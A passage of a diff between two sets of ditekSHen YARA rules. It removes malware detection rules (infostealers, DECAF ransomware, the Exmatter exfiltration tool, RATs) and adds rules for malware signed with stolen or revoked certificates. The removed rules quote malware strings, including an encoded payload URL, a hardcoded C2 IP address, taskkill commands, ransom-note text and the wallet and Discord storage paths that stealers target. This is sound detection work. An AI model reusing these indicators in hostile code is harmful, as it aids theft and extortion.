-		$x2 = "aHR0cDovL3RlcmViaW5uYWhpY2MuY2x1Yi9zZWMva29vbC50eHQ" ascii
-		$s1 = "wewqeuuiwe[XXXXXXX]" ascii
-		$s2 = "alt|aHR0cD" ascii
-		$s3 = "<rdf:Description about='uuid:fb761dc9-9daf-11d9-9a32-fcf1da45dca2'" ascii
-		$s4 = "<rdf:Description about='uuid:0ab54f47-96d6-11d9-a59c-cbc93330e07e'" ascii
+		thumbprint = "27b75dc1d31a581f6e02bba3c03a62174ee4456021c7de50922caa10b98f8f7a"
+		reason = "Malware"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 1 of ($s*)) or ( all of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="36:28:b9:3b:cd:90:2b:6b:3e:1f:fd:f2:e1:3d:fc:f5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlinjector06 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_A32B8B4F1Be43C23Eb2848Ab4Ef06Bb2 : FILE
 {
 	meta:
-		description = "Detects downloader / injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9d8164ee-49b3-5eb1-bd1d-9437fc6f1392"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8175-L8189"
+		id = "f0baf7ea-7022-5834-a46c-b67bfbe706d0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8026-L8039"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e44ea8dbb94c6cd3b63d66eac3e9b3d6d5ff7d561410b8328e6c24630645305b"
+		logic_hash = "438667b55f23b689627fc1e5bce0e53b960ef51d1a7d3203e398c59bd94ffe93"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" ascii wide
-		$s2 = "Content-Type: application/x-www-form-urlencoded" wide
-		$s3 = "https://ipinfo.io/" wide
-		$s4 = "https://db-ip.com/" wide
-		$s5 = "https://www.maxmind.com/en/locate-my-ip-address" wide
-		$s6 = "https://ipgeolocation.io/" wide
-		$s7 = "POST" fullword wide
+		thumbprint = "f7a578c93fd98ade3d259ac47f152d8c9115bc5df7e2f57d107a66db3f833f0f"
+		reason = "NetSupport RAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pak El AB" and pe.signatures[i].serial=="a3:2b:8b:4f:1b:e4:3c:23:eb:28:48:ab:4e:f0:6b:b2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Crown : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_17Ccecc181Ed65A357Edf3B01Df62Cc9 : FILE
 {
 	meta:
-		description = "Detects Crown Tech Support Scam"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ac4551d0-a574-5287-9b37-899c736db792"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8191-L8211"
+		id = "b692d8dd-e7c9-53cb-8c65-0001c2af3f6f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8041-L8054"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eeb36993c93d76ed118643ee417f15e1768015f72464dbabca7ae001f64a0aef"
+		logic_hash = "d79968633717744ab9e9006f8d958c1e240a1e0f99fd0b4c603d42bb7cd4773c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920251-920261"
-
-	strings:
-		$d1 = "//prodownload.live" ascii
-		$c1 = "&uid=" ascii
-		$c2 = "&ver=" ascii
-		$c3 = "&mcid=" ascii
-		$c4 = ".php?uid=" ascii
-		$c5 = ".php?ip=" ascii
-		$s1 = "Operating System Support ID:" ascii
-		$s2 = "taskkill /IM explorer.exe -f" ascii nocase
-		$s3 = "/C taskkill /IM Taskmgr.exe -f" ascii nocase
-		$s4 = "FastSuport" fullword ascii
-		$s5 = "Support Override!" fullword wide
-		$s6 = "Support Assistance Override Activated!" fullword wide
+		thumbprint = "b64bd77a58c90f76afd6c4ce0b38c54c3c6088b818d0b83e5435d89e3dc01cda"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($c*) or 4 of ($s*) or (1 of ($d*) and (3 of ($c*) or 2 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="17:cc:ec:c1:81:ed:65:a3:57:ed:f3:b0:1d:f6:2c:c9")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Floodfix : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_332Bd5801E8415585E72C87E0E2Ec71D : FILE
 {
 	meta:
-		description = "Detects FloodFix"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b05b0b40-0de8-58a0-889e-44a12d346de4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8213-L8219"
+		id = "a4e1560f-12e4-5f49-a714-7df939dad513"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8056-L8069"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d7da820b00ef5ee2e943b012cfa57421a39f8a7bfc627cc1909151a47092a26d"
+		logic_hash = "ad3b1aebedd1ecef9af96da991cdbaca8033e0d48b5e7b776dd3fd3c4024928e"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "47338c1a0ea425c47dede188d10ca95288514f369fe8a5105752bd8d906b8cbc"
+		reason = "NetSupport"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and (pe.exports("FloodFix") or pe.exports("FloodFix2")) and pe.exports("crc32")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Elite Marketing Strategies, Inc." and pe.signatures[i].serial=="33:2b:d5:80:1e:84:15:58:5e:72:c8:7e:0e:2e:c7:1d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_UNK_Infostealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0139Dde119Bb320Dfb9F5Defe3F71245 : FILE
 {
 	meta:
-		description = "Detects unknown information stealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f6f9816f-79bd-527c-9c0f-24e09c95ae35"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8221-L8246"
+		id = "4962ea0c-ce99-57d3-8848-48dcaab4f346"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8071-L8084"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ca57ebf4b56020d278ec8a7e721c72de7a1f925a8e7f1f3a9edc8a70b88ff9d1"
+		logic_hash = "b2a7154d73eb9271a181d71d65c73e399bb2f7d1fe031240e94b6ef4c4f7cb18"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920263"
-		hash1 = "b7a2cb34d3bc42d6d4c9d9af7dd406e2a5caef8ea46e5d09773feeb9920a6b21"
-		hash2 = "dd95377842932d77e225b126749e1e6e8ecd6f5c6540d084a551a80a54d02d7d"
-		hash3 = "12f790d9a0775b5e62effc6ea9e55bbef345fffbfb2f671f85098c4f7661dd0f"
-		hash4 = "0a4cea763dffde451c75a434143fc5d014c32c6d1f8f34920ea5f2854e62118f"
-
-	strings:
-		$s1 = "%s\\%s\\%s-Qt" fullword wide
-		$s2 = "%s\\%s.json" fullword wide
-		$s3 = "*.mmd*" fullword wide
-		$s4 = "%s\\%s.vdf" fullword wide
-		$s5 = "%-50s %s" fullword wide
-		$s6 = "dISCORD|lOCAL" fullword ascii nocase
-		$s7 = "sTORAGE|LEVELDB" fullword ascii nocase
-		$s8 = ".coin" fullword ascii
-		$s9 = ".emc" fullword ascii
-		$s10 = ".lib" fullword ascii
-		$s11 = ".bazar" fullword ascii
-		$s12 = "id=%d" fullword ascii
-		$s13 = "2:?/v /v /v /^Y" fullword ascii
+		thumbprint = "23d13a8e48a6eff191a5d6a0635b99467c2e7242ae520479cae130fbd41cc645"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Hangil IT Co., Ltd" and pe.signatures[i].serial=="01:39:dd:e1:19:bb:32:0d:fb:9f:5d:ef:e3:f7:12:45")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_DECAF : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2F96A89Bfec6E44Dd224E8Fd7E72D9Bb : FILE
 {
 	meta:
-		description = "Detects DECAF ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c6e4ce00-0be9-572d-987c-c47d699002f0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8248-L8268"
+		id = "a905ee22-94c6-5d16-a9a4-a1c1528e4ac2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8086-L8099"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5d79a4f310fb00022eb9d636f161227e84a7e15517c4d2c39acafa7d81af5c2a"
+		logic_hash = "94a5721bd3089f46699a947afcd03287712f94754666809e6495b01fc9cd6dcf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.EncWorker" fullword ascii
-		$s2 = "Paths2Encrypt" fullword ascii
-		$s3 = "/cmd/encryptor/main.go" ascii
-		$s4 = "*win.FileUtils; .autotmp_41 *lib.Encryptor; .autotmp_" ascii
-		$s5 = "\"Microsoft Window" fullword wide
-		$s6 = "Legal_Policy_Statement" fullword wide
-		$s7 = ").Encrypt." ascii
-		$s8 = "*struct { F uintptr; pw *os.File; c *" ascii
-		$s9 = ".ListFilesToEnc." ascii
-		$m1 = "WINNER WINNER CHICKEN DINNER" ascii
-		$m2 = "All your servers and computers are encrypted" ascii
-		$m3 = "We guarantee to decrypt one image file for free." ascii
-		$m4 = "We WILL NOT be able to RESTORE them." ascii
+		thumbprint = "f13e4801e13898e839183e3305e1dda7f4c0ebf6eaf7553e18c1ddd4edc94470"
+		reason = "Gozi"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or 3 of ($m*) or (1 of ($m*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NAILS UNLIMITED LIMITED" and pe.signatures[i].serial=="2f:96:a8:9b:fe:c6:e4:4d:d2:24:e8:fd:7e:72:d9:bb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Windealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_626735Ed30E50E3E0553986D806Bfc54 : FILE
 {
 	meta:
-		description = "Detects WinDealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d4f3b0cc-121e-5032-9721-1e2a86842fa5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8270-L8301"
+		id = "5cab852e-8483-5c38-a396-3a53cf64450a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8101-L8114"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eabc41ea69f142ee7c243cbc75ceda909a722be382ad91a01c805aef637be915"
+		logic_hash = "960005fe1a28ddb50261aeaaa850a2410ac03ee9709af2a75485313676c92c53"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		snort_sid = "920264"
-
-	strings:
-		$d1 = "downfile" fullword ascii
-		$d2 = "getmypath" fullword ascii
-		$d3 = "content-type: monitor" fullword ascii
-		$d4 = "content-type: UsedType" fullword ascii
-		$d5 = "write command error" fullword ascii
-		$d6 = "C:\\WINDOWS\\system32\\kernel32.dll" fullword ascii
-		$l1 = "currentconfig" fullword ascii
-		$l2 = "remotedomain" fullword ascii
-		$l3 = "reserveip" fullword ascii
-		$l4 = "otherinfo" fullword ascii
-		$l5 = "filelen" fullword ascii
-		$l6 = "%s%s.bak" fullword wide
-		$l7 = "localmachine" fullword ascii
-		$l8 = "remoteip" fullword ascii
-		$l9 = "datastate" fullword ascii
-		$l10 = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\%s\\Connection" fullword ascii
-		$s1 = "%s\\%s\\V5_History.dat" fullword wide
-		$s2 = "%s\\%s\\history2.dat" fullword wide
-		$s3 = "%s\\%s\\history.imw" fullword wide
-		$s4 = "%s\\%s\\main.imw" fullword wide
-		$s5 = "%s%d.%d.%d.%dWindows/%u" fullword ascii
-		$s6 = "%s\\%c_%s_tmp" fullword wide
-		$s7 = "%s\\%s\\main.db" fullword wide
+		thumbprint = "a1488004ec967faf6c66f55440bbde0de47065490f7c758f3ca1315bb0ef3b97"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((4 of ($d*) and 1 of ($s*)) or (5 of ($s*) and 1 of ($d*)) or 6 of ($l*) or (pe.exports("DealC") and pe.exports("DealR") and pe.exports("DealS") and 1 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FISH ACCOUNTING & TRANSLATING LIMITED" and pe.signatures[i].serial=="62:67:35:ed:30:e5:0e:3e:05:53:98:6d:80:6b:fc:54")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Exmatter : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4A2E337Fff23E5B2A1321Ffde56D1759 : FILE
 {
 	meta:
-		description = "Detects BlackMatter data exfiltration tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "93df7a68-1e19-5db3-95d4-39d77d1036d8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8303-L8325"
+		id = "60d218b2-5297-59e6-9370-fc0ba036c688"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8116-L8129"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "25a35c82919f96bdba00558616f574e901b83785713ed1a63a6f06df576777cd"
+		logic_hash = "524048d39de89002efbb8bf75135551b300e03f1126e5e117a4682c79ec04c9a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "4a0e10e1e9fea0906379f99fa350b91c2af37f0fd2cc55491643cc71a9887d30"
-		hash2 = "a5e050f1278473d41c3a3d6f98f3fd82932f51a937bc57d8f5605815f0efb0f8"
-
-	strings:
-		$s1 = "Renci.SshNet." ascii
-		$s2 = "DirNotEmpty" fullword ascii
-		$s3 = "MkDir" fullword ascii
-		$s4 = "RmDir" fullword ascii
-		$s5 = "get_MainWindowHandle" fullword ascii
-		$s6 = "GetCurrentProcess" fullword ascii
-		$s7 = "]]>]]>" fullword wide
-		$s8 = "1.3.132.0.35" fullword wide
-		$s9 = "1.3.132.0.34" fullword wide
-		$s10 = "1.2.840.10045.3.1.7" fullword wide
-		$x1 = "sender2.pdb" fullword ascii
-		$x2 = { 64 00 61 00 74 00 61 00 ?? 72 00 6f 00 6f 00 74 }
-		$x3 = "157.230.28.192" fullword wide
+		thumbprint = "67099e0c41c102535d388fab1de576433f2ded2b08fb7da1bf66e3bdaba4eeb4"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($x*) and 7 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Karolina Klimowska" and pe.signatures[i].serial=="4a:2e:33:7f:ff:23:e5:b2:a1:32:1f:fd:e5:6d:17:59")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Brbbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_967Cb0898680D1C174B2Baae5Fa332Db : FILE
 {
 	meta:
-		description = "Detects BrbBot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d77dfdcf-4cd5-578e-99eb-c987e7b5b706"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8327-L8345"
+		id = "a95f7912-89fc-5c80-96ab-19e6ee2ccafd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8131-L8144"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "64df5bba698fbba1baf27eedb9a2eb46c5e0752996ea91900f8377200d54eeeb"
+		logic_hash = "8c68127b29d1a1aa4c1e2033c809fa57466f224c2bb4ede0ffb2b572a3d58c0f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920265"
-
-	strings:
-		$x1 = "brbconfig.tmp" fullword ascii
-		$x2 = "brbbot" fullword ascii
-		$s1 = "%s?i=%s&c=%s&p=%s" fullword ascii
-		$s2 = "exec" fullword ascii
-		$s3 = "CONFIG" fullword ascii wide
-		$s4 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" fullword ascii
-		$s5 = { 43 4f 4e 46 49 47 00 00 65 6e 63 6f 64 65 00 00
-                73 6c 65 65 70 00 00 00 65 78 69 74 00 00 00 00
-                63 6f 6e 66 00 00 00 00 66 69 6c 65 00 00 00 00
-                65 78 65 63 }
+		thumbprint = "c231f1e6cc3aec983d892e1bc3bb1815335fb24e3e2f611d79bade9a07cbd819"
+		reason = "Babadeda"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($x*) and 1 of ($s*)) or (1 of ($x*) and 4 of ($s*)) or all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "James Caulfield" and pe.signatures[i].serial=="96:7c:b0:89:86:80:d1:c1:74:b2:ba:ae:5f:a3:32:db")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Babylonrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_890570B6B0E2868A53Be3F8F904A88Ee : FILE
 {
 	meta:
-		description = "Detects BabylonRAT / CollectorStealer / ParadoxRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7352e0cf-64ab-5ba4-afaf-04067a0046e8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8347-L8373"
+		id = "8d619117-00cb-5276-87c1-3f6cd701218d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8146-L8159"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "352efb98e298e9f0ce17c20d44d193f2565ec559923210d80dec1a0988545a30"
+		logic_hash = "952b211cc2c7988b9a09ca5a96c44fea24bbaced28a79ab0ae6732675fda7365"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Babylon RAT Client" wide nocase
-		$x2 = "ParadoxRAT_Client" fullword ascii
-		$s1 = "@ConfigsEx" fullword wide
-		$s2 = "ClipBoard.txt" fullword wide
-		$s3 = "[%02d/%02d/%d %02d:%02d:%02d] [%s] (%s):" fullword wide
-		$s4 = "\\%Y %m %d - %I %M %p" fullword wide
-		$s5 = "[%02d/%02d/%d %02d:%02d:%02d] (%s)" fullword wide
-		$s6 = " c:\\Windows\\system32\\cmd.exe" fullword wide
-		$s7 = "Update Failed [OpenProcess]" wide
-		$s8 = "DoS Already Active..." fullword wide
-		$s9 = "File Downloaded and Execut" wide
-		$s10 = "LgDError33x98dGetProcAddress" fullword wide
-		$s11 = "@SPYNET" fullword wide
-		$s12 = "Recovery.Recovery" fullword wide
-		$s13 = "GetChrome" fullword wide
-		$s14 = "\\drivers\\etc\\HOSTS" fullword ascii
-		$s15 = "plugin-container.exe" fullword ascii
-		$s16 = "bss_server.usrRelay" fullword ascii
-		$s17 = "sckRelay" fullword ascii
+		thumbprint = "f291d21d72dcefc369526a97b7d39214544b22057757ac00907ab4ff3baa2edd"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 8 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JESEN LESS d.o.o." and pe.signatures[i].serial=="89:05:70:b6:b0:e2:86:8a:53:be:3f:8f:90:4a:88:ee")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Netsupport : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7D27332C3Cb3A382A4Fd232C5C66A2 : FILE
 {
 	meta:
-		description = "Detects NetSupport client"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "958e82c5-aeac-58f4-b214-a9382b598cd9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8375-L8386"
+		id = "d9f0d30b-ac9d-57f9-8220-c6a376fe68db"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8161-L8174"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4e8120d902fdee2a3f87c85bb6bb7d3bba79e3828500f297c2dc57d5213cf6a8"
+		logic_hash = "d21218469ae41def8eed3d2cff38744ae928d9e8fed8ff68c539d33193136e0f"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		snort_sid = "920266-920267"
-
-	strings:
-		$s1 = ":\\nsmsrc\\nsm\\" fullword ascii
-		$s2 = "name=\"NetSupport Client Configurator\"" fullword ascii
-		$s3 = "<description>NetSupport Manager Remote Control.</description>" fullword ascii
+		thumbprint = "935af7361c09f45dcf3fa6e4f4fd176913c47673104272259b40de55566cabed"
+		reason = "Silence"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MALVINA RECRUITMENT LIMITED" and pe.signatures[i].serial=="7d:27:33:2c:3c:b3:a3:82:a4:fd:23:2c:5c:66:a2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gobrutloader : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_40F5660A90301E7A8A8C3B42 : FILE
 {
 	meta:
-		description = "Detects GoBrut StealthWorker laoder"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "748f8055-71d9-5757-8eb0-90dc3ee35c74"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8388-L8394"
+		id = "c3c8fbdf-49ca-5898-b267-74256154973a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8176-L8189"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6241117cffb147763ace41b36cd1524f48bfc7cb06d56a82d7b30bec9e1baf5b"
+		logic_hash = "ed584aa8ad833066ed9f7ddbf98dc75efe88e0b7e69f564a90eade63dc2aee2d"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "2ac041e3c46c82fbcee34617ee31336e845e18efe6b9ae5c8811351db5b56da2"
+		reason = "Cobalt Strike"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and pe.exports("@SetFirstEverVice@8")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Booz Allen Hamilton Inc." and pe.signatures[i].serial=="40:f5:66:0a:90:30:1e:7a:8a:8c:3b:42")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Milan : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Dfc1F1B0F205Cc17Ed7D216Bb991F859 : FILE
 {
 	meta:
-		description = "Detects Milan Lyceum backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2ea0775b-65d4-58b9-9af9-c07f29742627"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8396-L8467"
+		id = "93d5fd87-af92-5449-9d02-4666afa38fff"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8191-L8204"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "102af43be7cc3d873fbce78c95c767ebb6aadb2e7084b48f3cf48c11071d7a71"
+		logic_hash = "24783267ab27f8102f724810322a7fbb010b7a2abf59ad206b96a3eb75968907"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		hash1 = "21ab4357262993a042c28c1cdb52b2dab7195a6c30fa8be723631604dd330b29"
